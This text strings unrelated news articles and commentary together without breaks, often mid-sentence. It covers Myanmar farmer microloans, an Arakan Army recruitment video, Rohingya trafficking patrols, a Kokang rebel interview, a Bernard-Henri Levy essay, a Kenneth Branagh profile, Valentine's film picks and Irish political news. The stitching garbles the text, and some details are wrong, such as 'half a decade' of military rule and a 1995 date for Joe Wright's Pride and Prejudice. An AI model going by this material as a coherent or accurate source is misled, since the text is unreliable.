Myanmar began emerging from nearly half a decade of military rule in 2011. Helping its smallholder farmers requires a deep understanding of context, as well as empathy and creativity, Warren told the Thomson Reuters Foundation.

Across Southeast Asia, businesses with a social purpose are improving the lives of vulnerable communities and helping narrow inequality.

In Myanmar, farmers rely heavily on the monsoon rain, and the country has one of the lowest percentages of irrigated farmland in Asia, according to Proximity.

The company designed a range of products including drip and sprinkler irrigation systems, and solar-powered pumps that can help increase yield by about a third, Warren said.

As a social venture, Proximity is better placed to help farmers than businesses with a purely profit motive, he said.

Some areas are not viable or are hard to get to. Since we are supported by some funding, it allows us to subsidize our products and go the extra mile to reach farmers, he said.

Proximity started giving micro loans to farmers in the aftermath of Cyclone Nargis in 2008, Myanmars worst natural disaster, which killed nearly 140,000 people and affected some 2.4 million people.

About two years back, based on feedback from its clients, Proximity began on-the-go loans to help families during the dry season from November to April, when many men move to cities in search of factory or construction jobs.

A loan of about 200,000 kyats ($130) helps the family in the village until they receive remittances from the city, and also pays for the initial trip to the city, Warren said.

While on-the-go loans are a small part of Proximitys portfolio now, they could grow because of demand, Warren said.

Seasonal migration is an annual occurrence in nearly every rural family. With a loan from a reliable source, they can do it without worry, he said.Burma AA Chief Vows to Set Up HQ in Rakhine State Soon

Arakan Army chief Maj-Gen. Tun Myat Naing, who currently lives in Kachin State's Laiza Township / Supplied

YANGONAmid intense fighting between government troops and the Arakan Army (AA) in northern Rakhine, the armed groups chief, Major-General Tun Myat Naing, told the Arakanese public that the group will build a temporary headquarters in Rakhine State very soon.

The Irrawaddy saw a video message from the AA chief in the Arakanese language issued on Feb. 10. In it, he repeatedly urged Arakanese who live abroad to return to Rakhine State in order to take part in what he said was a turning point in the history of the region. It is the second such video issued by the group this month; AA deputy chief Brigadier-General Nyo Tun Aung released one last week.

Several sources close to the AA confirmed the authenticity of the AA chiefs video message. In the video, he is seen telling an audience of villagers that the current battle against government troops in Rakhine State is not just an armed conflict between the AA and the Myanmar military (or Tatmadaw), but a struggle between the Arakanese people as a whole and the countrys military.

He said, I absolutely believe that the Arakanese public and the AA stand side by side. We have also frequently said that the government military is fighting against the whole Arakanese public.

Maj-Gen. Tun Myat Naing said he suggested Arakanese return to Rakhine because once, many Arakanese went to other states or foreign countries to join in armed revolution. He said that era was over now because the AAs battlefield commanders and its supporters would recruit interested members. The AA chief promised they will fight until they achieve their ultimate goal.

If you are interested in being a AA soldier, you dont need to travel Karen state. Just go back to your homes and enquire a bit about the AA, he said, adding, The world-famous AK assault rifles, brand new AK firearms are waiting for you. Just come and join, OK?

In the video, the Arakanese audience listening to his speech responds Yes! in unison. He appealed to women and disabled persons, explaining that carrying a gun in battle is not the only way to support revolution, and there are many different ways to revolt nowadays. For instance, acting as an informant on the ground is also a way of being a revolutionary, he said.

Guns do not discriminate between men and women. All you need to do is just squeeze your finger, said Maj-Gen. Tun Myat Naing.

He asked the Arakanese public whether they were willing to join the AA this month and then instantly about 100 villagers in the audience raised their hands. He reminded them that a real battle is harder than they can imagine, and that there is a strong possibility of them dying or being wounded during the fighting. It is a tough journey, he said, but Arakanese need to sacrifice for a brighter future by taking action with their own hands for the sake of the next generation.

Ethnic armed affairs analyst U Maung Maung Soe commented that the AAs headquarters in N. Rakhine State could be a part of its 2020 Arakan Dream. By analyzing the AAs ambushes over the past few weeks, one could see that the conflict region has apparently broadened, and the AA had even attacked military columns where the Western Command of the Myanmar Army is based in Ann Township this month.

He pointed out that most of northern Rakhine States townships in rural areas are under the control of the AA. U Maung Maung Soe said that looking at the number of clashes involving the AA, and their movements, the AA appeared to have a significant number of troops.

He said, The AA has been trying to get a stronghold in Rakhine State since its establishment and they will probably stage a series of offensives against Army troops and then enter politics in 2020.

Another political analyst, Ko Wong Aung, also concluded that the AA has been pragmatically and consistently implementing its dream on the ground both politically and militarily. The armed conflict in Rakhine State could even have major political consequences in near future, he said, as the AA and the Arakanese are now in solidarity. Based on the AA chiefs message, he remarked that the government should reconsider its perspective on the AA. Failure to do so could see the area become a failed state, he said.

He urged all sectors of societyincluding the legislature, the military and the National League for Democracy-led governmentto carry out a holistic approach to Rakhine, rather than working separately.

I think they should seriously consider starting now. This is a very important time for the government, said Ko Wong Aung.Asia Bangladesh Steps Up Patrols to Stop Rohingya Risking Boat Trips to Malaysia

Rohingya refugees intercepted by the Malaysian Maritime Enforcement Agency off Langkawi Island are escorted in their boat as they are handed over to immigration authorities at the Kuala Kedah ferry jetty in Malaysia on April 3. / Reuters

DHAKA  Authorities in Bangladesh say they are stepping up patrols to thwart Rohingya refugees from risking dangerous boat journeys to Malaysia now that calmer seas have returned with the dry season.

We are mobilizing our teams to prevent human trafficking, said Lt. Col. Asaduz-Zaman Chowdhury, commanding officer of Border Guard Bangladesh (BGB) in the Teknaf region of Coxs Bazar District, where the camps are located.

At least 150 Rohingya believed to have been preparing for the journey, mostly women and children, have been rescued in Teknaf since November, according to reports from the police, coast guard and BGB.

Eighteen alleged traffickers have also been arrested and three criminal cases filed accusing 16 of them, Coxs Bazar police said.

On Nov. 9, the coast guard arrested six suspected traffickers and caught 33 Rohingya refugees from a fishing trawler headed for Malaysia in the Bay of Bengal.

Abul Kashem, executive director of Help Coxs Bazar, which is working in the Rohingya camps, said refugees were desperate to reach Malaysia with the help of paid traffickers.

The situation is alarming now, he said.

Rohingya community leaders said the refugees, who are Muslim, were targeting Malaysia because they had relatives there and because it was a majority Muslim country.

Many of their relatives are asking them to travel to Malaysia by any means, said community leader Muhammad Ali.

More recently, BGB caught six Rohingya preparing to board a boat bound for Malaysia on Tuesday and another 22 on Sunday. They caught 30 on Friday and arrested two suspected traffickers.

Lt. Col. Chowdhury said those caught on Friday left their camps a week earlier and were staying in makeshift accommodations provided by the traffickers, whom they had paid between 50,000 takas ($596) and 100,000 takas ($1,192) to take them to Malaysia.

Two young women caught Friday told reporters that they were about to board their boat but changed their minds after seeing the sea and growing worried for their safety.

My parents could not arrange my marriage, so I was planning to travel to Malaysia by sea because the Bangladeshi brother [the suspected trafficker] assured me he would arrange my wedding and provide money. But I retreated after seeing the danger of the sea, said Nur Jahan Begum.

Shahena Akhter said her parents died in Myanmar when she was a child and afterwards lived with her uncles family.

They could not arrange my marriage, she said. I am going to Malaysia for my marriage there.

On Thursday police caught 20 Rohingya refugees from the camps during a raid on the home a suspected trafficker. Police said the refugees told investigators they had relatives in Malaysia who had already made the sea journey and found jobs.

The U.S. State Departments 2018 Trafficking in Persons Report said the Rohingya refugees were at high risk of trafficking because of their stateless status and inability to work legally in Bangladesh.

The report said Bangladesh was a source, transit, and destination country for men, women, and children subjected to forced labor and sex trafficking and placed it on the departments Tier 2 Watch List. It said the government was making strides to combat the problem but still does not fully meet the minimum standards for the elimination of trafficking.

The report adds: In the recent past, some Rohingya and Bangladeshi migrants who traveled by boat to Southeast Asian countries were subjected to exploitation when they were unable to pay ransoms and were instead sold into forced labor.

Bangladeshi officials say fewer refugees tried to flee the camps during the previous dry season because they were busier setting up their shelters, having just recently arrived in Bangladesh after fleeing a Myanmar military crackdown in Rakhine State in late 2017.

More than 720,000 Rohingya fled the crackdown for Bangladesh, according to the U.N.s refugee agency.

Since October 2017, several dozen Rohingya women have also been caught in Coxs Bazar and other districts trying to arrange passports through brokers to leave the country and sent back to the refugee camps.

Md Nikaruzzaman, executive officer of Coxs Bazars Ukhia Sub-District, said local authorities have set up 11 security checkpoints around the camps and spoken to the refugees about the risks of being trafficked.

We have also tightened our monitoring of the passport verification system to thwart refugees trying to obtain Bangladesh passports for travel, he told The Irrawaddy.

In 2015, Bangladesh launched a crackdown on traffickers after authorities in neighboring Thailand discovered mass graves filled with the remains of Rohingya trafficking victims and caught boats overcrowded with thousands of them adrift at sea.In Person Kokang Rebel Group Denies Military's Conscription Claims

MNDAA Lt. Col. Phone Win Naing. / Kyaw Kha / The Irrawaddy

On Dec. 21 the Myanmar military, or Tatmadaw, declared a unilateral ceasefire lasting until April 30. It said it hoped to hold talks with non-signatories to the Nationwide Ceasefire Agreement during that time. Nearly two months after declaring the ceasefire, however, it has not held talks with any of them.

Meanwhile, fresh fighting has broke out in northern Shan States Kunlong Township between the Tatmadaw and the Myanmar National Democratic Alliance Army  the MNDAA or Kokang Group, a member of the Northern Alliance  and continued into this week.

The Office of the Commander-in-Chief says hundreds of civilians in Kunlong have fled their homes to avoid conscription by the MNDAA and that it will do whatever it takes to protect the population. Yet more than 300 civilians in Kunlong fled their homes on Jan.28 and 29.

The Irrawaddy reporter Nan Lwin Hnin Pwint interviewed Lt. Col. Phone Win Naing, spokesman for the MNDAA, about developments since the Tatmadaw declared the ceasefire in late December.

What steps were taken to have peace talks after the Tatmadaw announced a ceasefire?

The Northern Alliance was the first to release a statement in response. China helps us and meets our requests for help. We have considerable trust in China. We also have trust in the government for the time being. But the Tatmadaw still looks at us with a jaundiced eye. After it announced a ceasefire, we stayed back. But the Tatmadaw launched attacks on our friend and ally, the Arakan Army. We want the international community to know that the Tatmadaw is treating us unfairly.

There were also clashes with the TNLA (Taang National Liberation Army). They attacked us on Feb. 4. Clashes took place at Hon Aik, our headquarters, and around Hsenwi, west of the Thanlwin River. The Tatmadaw does not keep its promise. It bullied our civilian members and set their houses on fire. It does whatever it wants and puts the blame on us. It is not that civilians fled because we are listing them for conscription, but because it (the military) is bullying them.

So we are relocating local people [to safety], and it is attacking us as we do so. Many of our soldiers were killed and civilians have suffered. We dont know what to do. We wish the international community knew this.

How did the Tatmadaw attack Hong Aik? Is it targeting your headquarters?

It is always present in the areas surrounding our headquarters. It fired artillery at us, and infantry also came and attacked us. They might have been targeting our headquarters, or they might have been preparing.

But the Tatmadaw said it attacked because your group is conscripting.

This is our region. This is the place where our ethnic people live. It is just their accusation. They came and burned our villages and forced our people to leave (their houses on) the hills. Because our people could not stand it, they have joined us and are taking part in the revolution.

But hundreds of people fled from the Kokang, and they said they fled because of conscription. What do you want to say about that?

There will be bad people in any ethnic group. They will accuse us of doing bad things. They are just pretending.

The Tatmadaw said your group has had nine call-ups.

That is wrong. All the ethnic people living along the border are our friends, our ethic people. We are united. We dont need to conscript. In spite of the Tatmadaw doing those things [to mar our image], many have fled to join us in order to rise up against the Tatmadaw. The Tatmadaw just claims nine times, 10 times or even 100 times.

Are there still clashes today? What is the situation like?

First, we value Chinas help. We have to keep our promises when a foreign country helps our country. Second, we want the government to properly control the Tatmadaw [to make sure it observes its ceasefire]. We will keep our promise. We also want the international community to help [with the peace process]. We are sorry that our country has such a Tatmadaw. It kills its own people. I think Myanmar is the only country in the world where the Tatmadaw kills its own compatriots.

Has the Tatmadaw offered to hold peace talks with ethnic leaders?

We have been waiting for it. But it hasnt come.

Hasnt the government contacted your group yet?

It might have contacted the FPNCC [Federal Political Negotiation and Consultative Committee, or Northern Alliance]. As we are under the FPNCC, we are waiting for its order.

What does the MNDAA want to discuss with the Tatmadaw and the government?

Yes, there are many things. We, the MNDAA, dont have the right to say. I cant say anything without the order of the FPNCC.

Translated from Burmese by Thet Ko Ko.When the internet became a standard utility, it was widely believed that we were giving every friend of the truth the technical means with which to contribute, boldly but modestly, to the adventures of knowledge. Instead, we convened a feeding frenzy, writes Bernard-Henri Levy

Invited by Google Europe to attend a brainstorming session in Paris on the decline of truth, the rise of fake news, and ways to counter both, I began my presentation by placing the problem in historical context.

I cited George Orwells Looking Back on the Spanish War, in which the author explains that, for him, history stopped in 1936, because it was there, in Spain, that he discovered for the first time newspaper reports which did not bear any relation to the facts.

It was there that he sensed that the very concept of objective truth, ruined by fascism in its red and brown forms, was fading out of the world. And it was there, in effect, that men like Joseph Goebbels (Im the one who decides who is Jewish and who isnt) and later Donald Trump (and his alternative facts) became possible.

But, as I went on to point out, several intellectual shake-ups occurred before and after the rise of totalitarianism.

First, the Kantian critique, which separated the noumenal from the phenomenal realm, limited our knowledge to the latter, and posited that we can know phenomena only to the extent that our senses, understanding, and reason allow. This critique injects into our relationship with truth a measure of subjectivity of which Brexits proponents might be todays willing victims.

Second, a Nietzschean perspectivism turned truth into a point of view and judged to be true that point of view that makes a being stronger, and false that which saddens or diminishes him. It triggered a second intellectual earthquake, the aftershocks of which necessarily rippled through political systems, giving rise to the metaphysical possibility of leaders like, say, Vladimir Putin.

And, third, there was the deconstructionism of the post-Nietzscheans. By historicising the will to truth (Michel Foucault), putting truth in quotation marks (Jacques Derrida), separating the sign from its referent (Louis Althusser), and miring the obvious in a miasma of charts and graphs (Claude Levi-Strauss) or tying it up in Borromean knots (Jacques Lacan), they probably caused us to lose contact with the simple, robust, and irrefutable aspects of the truth.

I then focused on the responsibility of the internet and GAFA (Google, Apple, Facebook, and Amazon) for the following sequence of events:

First, an almost infinite amount of speech is set free by digital democracy.

The web then becomes a crowd, a free-for-all, where everyone shows up armed with his or her personal opinions, convictions, and truth.

And, at the end of a shift that was nearly imperceptible amid the virtual roar of tweets, retweets, and posts, we demand for our newly affirmed truth the same respect that was paid to the old truth.

We started with the equal right

to express our beliefs. We wound up conceding that all expressed beliefs have equal value.

We began by asking simply to be heard, then demanded that listeners respect our utterances, whatever they may think of them, and ended by warning them not to rank one statement above another or assert that there might be a hierarchy of truths.

We thought we were democratising the courage of truth that was so dear to the later Foucault. We thought we were giving every friend of the truth the technical means with which to contribute, boldly but modestly, to the adventures of knowledge. Instead, we convened a feeding frenzy. Truths body was laid out on the table and, fuelled by a cannibalistic urge, we set to tearing it apart. Each of us stitched together a patchwork of certitude and suspicion from the bloody, putrid shreds. And this spectacle promptly gave way, minus Hellenic elegance, to the perversity of a new generation of Sophists holding that truth is a wavering shadow, that man is the measure of all things, and that the truth of each is precisely equal to that of his neighbour.

A recent Google event on the decline of truth could serve as a wake-up call, a challenge to begin a process of critical questioning. Picture: EPA/Clemens Bilan

Given this, and because Google Europe was hosting this event, I proposed to Carlo dAsaro Biondo, the companys president for partnerships and strategic relations in Europe, the Middle East, and Africa, three concrete and eminently strategic ideas.

The first proposal is a hall of shame, where, in partnership with the worlds 50, 100, or 200 largest newspapers, the most dangerous fake news items at any given moment would be listed in real time.

Second, a competition on the model of Frances 18th-century academies

(from which no less than Rousseaus two Discourses emerged)

would be held. Denizens of the web would propose a document, video, or other work whose power of truth or satire could neutralise the most harmful fake news, with the winner funded to produce the proposed work.

And, finally, two and a half centuries after Diderot, a new encyclopedia  yes, an encyclopedia, a real one, the opposite of Wikipedia and its turbid entries  would be produced. Who other than one of the global tech firms has the power, should it decide to use it, to bring together thousands of real scholars capable of drawing up an inventory of the knowledge currently available to us in every discipline?

The choice is clear: Encyclopedia or ignorance.

Mend the fabric of the truth or resign ourselves to its definitive rending. Plunge deeper into the Cave, dim and clamorous, or begin to look for the way out.

I would not want to lend undue importance to a single Google event. But couldnt it be taken as a wake-up call, a challenge to begin a process of critical questioning? Might not those who are responsible for the worst be willing to shoulder some responsibility for repairing the damage, for building up after tearing down? If not them, who?

Bernard-Henri Levy is one of the founders of the Nouveaux Philosophes (New Philosophers) movement. His books include Left in Dark Times: A Stand Against the New Barbarism, American Vertigo: Traveling America in the Footsteps of Tocqueville, and most recently, The Empire and the Five Kings.The recent study by HRW about women fleeing Saudi Arabia follows an earlier 2016 HRW report titled, Boxed In: Women and Saudi Arabias Male Guardianship System. The report speaks of how few rights women there have. For example, Saudi women are not free to travel or get a passport without their male guardians approval. Some women are forbidden by their guardian to even leave their homes. These kinds of restrictions are not only approved by the government; they are enforced by the Saudi police when a guardian reports a violation. Even medical procedures conducted in many public hospitals must be approved by her guardian. Interestingly, this is not the case in some private hospitals.Despite big success with Hollywood blockbusters and his current Shakespeare film, Kenneth Branagh is still one of the nice guys of the film world, writes Esther McCarthy

Kenneth Branagh recalls an amusing story where his concerned parents hoped he would take up a secure job as long as a decade after he started acting. Growing up in Belfast, his dad had hoped he would take up a trade.

My dad was a joiner, my mum worked in a chip shop, he says. Their goal for us was to be happy, maybe to be able to have a house, bring up a family and be healthy. My father would have loved it if Id followed him into a trade of some sort. He was very pro-apprenticeships and less thrilled that everybody was suddenly going to university to get drunk for three years as he sometimes used to think thats what it was.

He adds that not in one million years could he or they have hoped for the success he has had.

We would go to the theatre, we knew about actors, but no  showbiz was an absolutely alien concept and very, very worrying for them when I decided that thats what I wanted to do.

They had no idea, they couldnt help me. They really didnt know what to do. My father was asking colleagues of mine, 10, 15 years into my career, whether they thought I had a future. He really was concerned because 80% or 90% of actors were unemployed.

Was there a point at which they realised their boy was doing all right for himself in the arts? He smiles.

They came when we had the premiere of Hamlet in the US. For various reasons I was invited to help present Jack Lemmon with a tribute.

I brought my mum and dad to the White House. And theres President and Mrs Clinton and the first thing they said was: Oh we love your films in front of my mum and dad. I said: Well please tell them that! I remember mum coming away from that saying: My god, son, thats a long way from York Street.

William and Frances, as it turns out, had every reason to be proud. Not only has their son forged a film career that has seen him act and direct both smaller films and hugely successful blockbusters such as Thor for Marvel and Cinderella for Disney, hes also regarded as one of the nicer people in showbiz.

Now aged 58, he still retains the youthful features weve seen through many carnations on screen and stage.

Having moved with his family from Belfast to Reading aged nine, as the Troubles took hold, he first started to forge an interest in Shakespeare in adolescence  a love he has passionately shared throughout his career.

Branaghs latest film, All is True, sees him actually step into the Bards shoes. Taking its title from an alternate name for his play Henry VIII, it tells of his return to family in Stratford following the burning of his beloved Globe Theatre to the ground. There he faces a family haunted and troubled by the death of his only son, Hamnet.

Branagh was first drawn to Shakespeare when he saw Richard Chamberlain play Hamlet on ITV one Sunday night, and found it a fascinating ghost story. A school trip to see Romeo and Juliet sealed his fate. Even then he understood in the slightly class-conscious way of being a working-class boy that Shakespeare was for other people.

I remember getting caught up in it and not understanding why it moved me quite so much. But I really leant into these experiences and they got under my skin and it became a sort of a passion.

Once I understood that you could understand it but not necessarily have to understand every word, you could experience it... all I knew was that I liked it. I knew however it was exclusive to other people somehow. So once I started to realise that perhaps I might be able to become an actor it became both a passion, because I enjoyed it, and also something of a cause too. To bang the drum for its availability, certainly to the kind of people I grew up with who just wouldnt otherwise perhaps have been drawn to it. I always had that sort of slightly crusading element with it.

Branagh behind the camera.

The film takes an unusual viewpoint of Shakespeares latter years, returning home after two decades of being celebrated in London. Just like Shakespeares Henry VIII, a play about which he could not possibly have known all the truth, we look to fill in the gaps with ones own experience of looking at the themes in Shakespeares plays, which are often to do with the loss of children, the end of his career, difficult relationships between fathers and daughters.

Branagh has forged quite a career since he first landed bit parts as a young actor (you can spot him on screen for twenty seconds as a young extra on Chariots of Fire). But it was the critical and commercial success of Thor seven years ago that introduced him as director to a whole new audience.

You dont always have entire control over your destiny when it comes to the business of filmmaking, because its a costly endeavour and so Ive been very lucky, he says.

It was a big career detour for me to go and do Thor, and I was lucky that it worked and enough to let me make some of these other films that have come my way. I always feel the same way about the films. I feel passionately about them because you spend a lot of time with them and theyre very intense experiences. For me its always been helpful to have artistic complements whether its in theatre or film, or whether its large scale film and small scale film.

Last summer, he returned to Ireland to shoot the eagerly awaited Artemis Fowl in the north. The family blockbuster, released next August, is based on Eoin Colfers much-loved novels about the young criminal mastermind.

It was great. And we got some wonderful pictures that I think will make people feel as though theyre in a big and spectacular part of Ireland and so Im very very happy about that. Its been very enjoyable ride. Eoin came and visited and it was lovely working with him and lovely working with Conor McPherson who did a terrific contribution to the screenplay.

We have two very promising youngsters. Ferdia Shaw plays Artemis and Lara McDonnell plays Captain Holly Short, his fairy nemesis. I think weve tried to capture this unique and funny imagination that Eoin brings to it and both the magic and the Irishness that I think very compelling.

I know for Eoin its been such a long time, he has been unbelievably patient but its time has come and God knows I hope that we deliver for the fans of the book and for people who are unfamiliar with it, because I think hes a cracking character.

All is True is in cinemas nowLeave the crowded restaurants behind and make Valentines night a cosy, intimate affair with Ed Powers selection of the best romantic movies available right now.

With Valentines Day almost upon us, the big hand is about to strike cuddles oclock.

And what better  and more cost-effective  way to spend quality time with your significant other than by snuggling on the couch to a favourite movie?

So forget over-sized cards, giant pink teddies or hiring a latin guitar trio to play beneath your bedroom window. Instead kick off your shoes and chill to our ultimate recommended list of Valentines Day movies.

Ibiza: Love Drunk

Netflix is stealthily building a reputation as go-to destination for rom-coms and Ibiza: Love Drunk is, goes the gossip in the rom-com community, one of its finest forays.

It stars Mr Bodyguard/Game of Thrones himself, Richard Madden, opposite Gillian Jacobs, the comedy actress best known for Love and Community, as star-crossed singletons who meet in the Balearic party capital.

What happens next? Well, we wouldnt dare spoil for you.

Suffice to say that, unlike in Game of Thrones, nobody ends up with their head on a spike.

Silver Linings Playbook

The adorable Jennifer Lawrence is in full Americas sweetheart mode opposite Bradley Cooper.

Its a story as old as time: guy with bipolar disorder meets quirky widow and they enter a dance contest together.

Laughter flows as does gooey, boil-in-the-bag romance.

Definitely, Maybe

Ryan Reynolds is perhaps best known as wise-cracking superhero Deadpool  but he excels here at tugging at the heartstrings in this bittersweet tale of love found and lost.

He plays a political consultant in the 90s attempting to explain his up-coming divorce to his 11-year-old daughter by recalling past romantic encounters.

But which of these old flames  portrayed by Isla Fisher, Rachel Weisz and Elizabeth Banks  will be the one he eventually marries (and is now planning to separate from)?

A family divorce drama indeed sounds a bit grim for the night thats in it, but hang on until the end for the feel-good twist.

Blue Valentine

Another one to make you appreciate your boring, stable relationship.

Ryan Gosling and Michelle Williams are never better than as a couple whose marriage is crumbling under the weight of suburban drudgery.

We jump back and forth from their initial infatuation to the breaking of their fellowship.

Yes, its heavy  but also a reminder that even the most starry-eyed coupling requires sweat, toil and honesty.

Chocolat

Featuring a pre-Jack Sparrow Johnny Depp, a luminescent Juliette Binoche and gorgeous Burgundy countryside, this is a treat for the sweet-toothed (yes there are lashing of chocolates, too).

Adapted from the Joanne Harris bestseller.

Before Sunrise

Actually why not binge all three of Richard Linklaters Before movies  starting with the 1995 original in which Julie Delpy and Ethan Hawke are fresh-faced Gen Xers who fall into one anothers orbit, and each others arms, inter-railing through Vienna.

They reunite for 2004s Before Sunset as jaundiced versions of their characters and, again, as a crabby married couple in 2013s Before Midnight.

All romantic life is there, in a trilogy that tracks how a relationship ebbs and flows with the decades.

La La Land

Do you enjoy people singing their way out of traffic jams?

Have you always wondered if Ryan Gosling could pass muster as a warbling jazz musician?

Is your Emma Stone crush ongoing?

Then youll want to clap along to Damien Chazelles all chirruping, all hoofing homage to Los Angeles and to the way life can sometimes catch you unawares.

Romeo + Juliet

Leo was never more dashing, Claire Danes was perfect as an existentially conflicted Juliette, and Baz Luhrmann was still on conversational terms with restraint.

The result: one of the most compelling adaptations of Shakespeares great love tragedy and a film with the blinding sheen of a 90s MTV video.

Eternal Sunshine of the Spotless Mind

We all accumulate romantic baggage through life. But what if you could wipe it away and start over?

That is the fantasy director Michel Gondry conjures within this romance that asks whether true love can ever be achieved if we insist on remaining strangers to ourselves?

Its the best sort of cake and eat it caper, wrestling with weighty philosophical imponderables while also spinning an old-fashioned romantic parable.

Pride and Prejudice

The knotty intricacies of courtship were an ongoing obsession for Jane Austen and Joe Wrights 1995 adaptation  with Keira Knightley as Elizabeth Bennet and Matthew Macfadyen as Mr Darcy  grippingly communicates her wryness but also her romantic streak.The country's health watchdog has said workers in the Tusla, the Child and Family Agency "frequently expressed concern about staff recruitment and retention", which they believed was causing delays in the system.

The comments were made by Mary Dunnion, Director of Regulation and Chief Inspector of Social Services in the Health Information and Quality Authority (HIQA).

She told the Joint Committee on Children and Youth Affairs that a shortage of graduates could not be used as "an excuse".

"Staff believed this deficit was constantly causing delays in the system - for example, the timely allocation of a social worker to a child and the management of child protection and welfare referrals," she said.

"The challenges in recruiting staff were persistently reported as an organisational risk at board, executive and operational levels of Tusla."

Tusla has repeatedly said there is an insufficient number of social work graduates in Ireland to meet service needs.

While Ms Dunnion agreed, she said: "However, at the time of our investigation, no comprehensive, strategic approach to workforce planning was in place which was informed by the reality of the current employment market.

"For example, there was little evidence that a review of current processes and requirements, and or consideration of upskilling other social care disciplines had happened or was formally underway.

Without taking such a strategic approach, Tusla cannot rely on recurring staff shortages as the default reason for failing to deliver an efficient and safe service to children and their families.

"Nor can they use this as an excuse for not providing an environment where social workers and social care workers can enjoy doing the core job they are qualified to do."The President of the Teachers Union of Ireland (TUI), Seamus Lahart, is warning that children will be sent home from school because there are not enough teachers.

He says that graduates are voting with their feet and changing career because of the disparity in pay between teachers who qualified before 2010.

Mr Lahart told Newstalk Breakfast that the Labour Court decision to intervene in the nurses' strike indicated that the Government appeared to be prepared to act when there is a crisis.

Something needs to be done about it. There is a crisis in teaching.

He added that the TUI had toned down its campaign during the nurses dispute, but they would now be resuming their campaign in earnest.

If it was possible to sort out the nurses' pay dispute then it should be possible to address the disparity in pay for teachers, he said.

We have come through a few years of growth, are we waiting for the next crisis?

Mr Lahart said there is an inevitability about the crisis in teaching. Children may need to be sent home from school, classes could be doubled in size because there are no teachers.

Young graduates are deciding with their feet, they are choosing different careers.Taoiseach Leo Varadkar has acknowledged the enormous anxiety among women over the mounting cervical cancer test result delays, amid criticism over the government's free offer of repeat tests.

Mr Varadkar blamed huge pressure the government faced last year, including from the media, as a reason for offering the free tests which have resulted in an average six months delay for results.

With almost 80,000 women facing such delays to find out if they are at risk of cervical cancer, health authorities are scrambling to employ extra laboratory staff.

Fianna Fail leader Micheal Martin said the free smear tests had now cost 10m. He also reiterated that, in his view, Health Minister Simon Harris did not have clinical backing to offer the free tests.

My sources confirm that the overwhelming impact of that decision has been to create this shocking backlog which is now damaging the programme and undermining its overall objectives, he said.

The decision to offer free testing to all women was not even supported by HSE former director general Tony O'Brien, was not resourced properly and has caused unacceptable stress and backlogs, he added.

Mr Varadkar conceded that a decision to allow free out-of-cycle smears had contributed to major backlogs in processing test results, with waiting times rising from four to six weeks to four to six months.

I acknowledge that there is significant anxiety and concern among tens of thousands of women who have had a smear test and are awaiting the result, he said.

Speaking about the decision last April, he said the Government was under a huge amount of pressure to act quickly, including from the media.

Everything we did was in good faith," he said. "Sometimes we acted perhaps from the heart rather than the head but this decision was made in good faith.

Sinn Feins Pearse Doherty called for the Health Minister to be sacked, insisting he was out of his depth.

Accusing Mr Harris of overseeing a chaotic system, Mr Doherty asked why labs were not consulted to establish if there was capacity to facilitate the free tests.

The Taoiseach highlighting the problems affecting the health service in the north during the current power-sharing impasse and claimed Sinn Fein had left the north without a health minister by pulling down the Stormont institutions amid a row over an energy scheme  the Renewable Heat Incentive (RHI).

So having denied Northern Ireland a health minister, now Sinn Fein wants to take away ours  we are not going to let that happen, he said.

The Taoiseach suggested Sinn Feins professed concern for patients was not genuine.

This shows the entire of approach of Sinn Fein to the health service, which doesnt really care about patients, doesnt care about the health service whatsoever. Its just a stick to beat the Government with, its just a constant, ongoing political attack, he said.Special needs assistants (SNAs) are to be trained on how to better assess and support children in up to 75 schools in order to help reduce the need for external reviews of likely needs.

Education Minister Joe McHugh secured agreement for the pilot project, which will be rolled out in September across schools in Kildare, west Wicklow, and south and west Dublin.

Under the current system, parents can seek independent reviews of their childrens needs, including speech and language therapy requirements.

It can be an expensive process for families, Department of Education officials have conceded.

New proposals will see up to 950 SNAs trained so that pupils can have their needs addressed internally in the school.

The move will not prevent parents from also seeking an external review.

However, it is hoped the 2m pilot project will allow SNAs to identify and support childrens needs in a quicker and easier manner, said a spokesman for the minister.

Speech and language therapy, nursing care, and psychological services will be among the supports given to 75 schools to upskill and support SNAs. More details will be revealed later this month.

Meanwhile, the Cabinet yesterday condemned the weekend protest outside the Wicklow home of Health Minister Simon Harris.

Housing protesters, angered by the childrens hospital cost overrun, had to be moved on by gardai.

Concern was expressed about the protest, said a Government spokesman.

While Cabinet yesterday discussed the hospital spend scandal, a spokeswoman for Independent Alliance ministers said that, when asked about cuts to budgets and departments, that they were happy to act in the interests of the hospital.

While ministers discussed the protest outside Mr Harris home, there was no new agreement on returning Garda drivers to ministers or upgrading any security arrangements following the Wicklow incident.

Elsewhere, Taoiseach Leo Varadkar and Tanaiste Simon Coveney updated the Cabinet on developments with Brexit. Both they and the ministers agreed to maintain the Governments position on the withdrawal agreement and that it, including the backstop to prevent a hard border, should not be altered.

In the fifth update to Cabinet on a potential no-deal Brexit, Mr Varadkar outlined details of his dinner last week with British prime minister Theresa May. Ministers will continue to arrange contingency measures under the proposed Omnibus Bill which could come before the Dail within two weeks.

The Cabinet also agreed legislation to resolve a number of difficulties in the registration of donor- assisted births.

It will now be possible for both partners in a female same-sex relationship to be registered as parents. Currently, only the details of one parent, the birth mother, can be included on certificates.Citizens who may have witnessed this incident or who have information as to the identity of the suspect are asked to contact Sgt. Rick Lambert, Westminster Police Department Criminal Investigations Bureau, at 410-848-4646, or send a confidential text to 847411, keyword TIPWPD or contact the TIPS line at 410-857-8477.Update 3.25pm: Fianna Fail TD John McGuinness has insisted he has no intention of quitting the party and becoming an Independent after becoming embroiled in a blazing behind-closed-doors row with other TDs over his repeated refusal to stick to the party line.

Mr McGuinness accused colleagues of being "nonsensical and immature" after claiming some TDs said he should consider becoming an Independent due to his views on the confidence and supply deal.

As reported by the Irish Examiner, Mr McGuinness and Fianna Fail public expenditure spokesperson Barry Cowen clashed on Tuesday evening over the back-bench TDs repeated public criticisms of the official party line.

During a heated eight minute row at Fianna Fail's weekly parliamentary party meeting, Mr Cowen raised recent public statements from unnamed TDs - believed to be Sean Fleming, Marc Mac Sharry and Mr McGuinness - for Micheal Martin to act and bring down the Government now.

Mr McGuinness responded by launching a tirade against Mr Cowen, saying he will not be bullied, intimidated or embarrassed into backing down or silenced.

Speaking on RTE's Today With Sean O'Rourke programme, Mr McGuinness repeated his views publicly, adding that suggestions from some TDs he should become an Independent miss the point entirely.

"It was a robust exchange, where I told him and the parliamentary party I would not be bullied and intimidated into a position I did not agree with.

"I wouldn't [leave Fianna Fail and become an Independent], I think it's a nonsensical and immature suggestion to make because political parties are about democracy, they're about debate.

"I wasn't asked directly but you could say that in a combination of words it could have been interpreted. The answer is no," he said.

